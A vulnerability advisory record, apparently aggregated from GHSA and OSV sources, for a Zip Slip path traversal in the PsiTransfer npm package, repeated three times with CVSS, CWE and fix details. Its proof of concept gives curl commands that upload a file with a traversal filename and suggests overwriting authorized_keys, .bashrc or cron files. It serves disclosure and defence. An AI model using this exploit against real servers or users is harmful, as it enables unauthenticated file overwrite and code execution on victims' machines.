{"id":"GHSA-xphh-5v4r-r3rx","aliases":[],"status":"published","title":"PsiTransfer has Zip Slip Path Traversal via TAR Archive Download","description":"### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, 'tus meta prop missing: name');\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Length: 15\" \\\n  -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\u003cUUID\u003e\" \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -d \"MALICIOUS_CONTENT\"\n```\n  \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++\u003cHASH\u003e.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-23"],"published":"2025-12-30T19:25:04Z","modified":"2025-12-30T19:33:31Z","fixes":[{"ecosystem":"npm","package":"psitransfer","fixed_in":["2.3.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"psitransfer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.3.1"}]}]},{"source":"osv","ecosystem":"npm","package":"psitransfer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.3.1"}]}]}],"references":[{"url":"https://github.com/psi-4ward/psitransfer/security/advisories/GHSA-xphh-5v4r-r3rx","tags":["web"]},{"url":"https://github.com/psi-4ward/psitransfer/commit/6c71bc0b8afa1ffa7aabd6c5fb28677651fd57b6","tags":["web"]},{"url":"https://github.com/psi-4ward/psitransfer/releases/tag/v2.3.1","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xphh-5v4r-r3rx"},{"url":"https://github.com/psi-4ward/psitransfer","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-xphh-5v4r-r3rx","title":"PsiTransfer has Zip Slip Path Traversal via TAR Archive Download","description":"### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, 'tus meta prop missing: name');\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Length: 15\" \\\n  -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\u003cUUID\u003e\" \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -d \"MALICIOUS_CONTENT\"\n```\n  \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++\u003cHASH\u003e.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.","status":"published","published":"2025-12-30T19:25:04Z","modified":"2025-12-30T19:25:07Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T14:39:15.106458Z"}],"osv":[{"id":"GHSA-xphh-5v4r-r3rx","title":"PsiTransfer has Zip Slip Path Traversal via TAR Archive Download","description":"### Summary\n\nA Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.\n\n### Details\n\nThe vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.\n\n```\nlib/endpoints.js:275\n\nconst entry = pack.entry({ name: info.metadata.name, size: info.size });\n```\n\n```\nlib/endpoints.js:372\nassert(meta.name, 'tus meta prop missing: name');\n```\n\n### PoC\n\nI. Upload file with malicious filename (no authentication required).\n\n```\nMALICIOUS_NAME=$(echo -n \"../../../tmp/dp.txt\" | base64)\nSID=$(echo -n \"evil\" | base64)\nRETENTION=$(echo -n \"3600\" | base64)\n\ncurl -X POST http://TARGET:3000/files \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Length: 15\" \\\n  -H \"Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}\"\n```\n\nII. Complete upload with PATCH\n\n```\ncurl -X PATCH \"http://TARGET:3000/files/evil++\u003cUUID\u003e\" \\\n  -H \"Tus-Resumable: 1.0.0\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -d \"MALICIOUS_CONTENT\"\n```\n  \nIII. Victim downloads and extracts TAR\n\n```\ncurl \"http://TARGET:3000/files/evil++\u003cHASH\u003e.tar.gz\" -o files.tar.gz\ntar -tzf files.tar.gz\n```\n\n### Impact\n\nArbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.\nRCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...\nNo Authentication Required: Default configuration has **uploadPass: false**.\nSocial Engineering Vector: Attacker sends malicious download link to victim.","status":"published","published":"2025-12-30T19:25:04Z","modified":"2025-12-30T19:33:31.794206Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-22","CWE-23"],"updated_at":"2026-11-02T15:47:00.198893Z"}]}}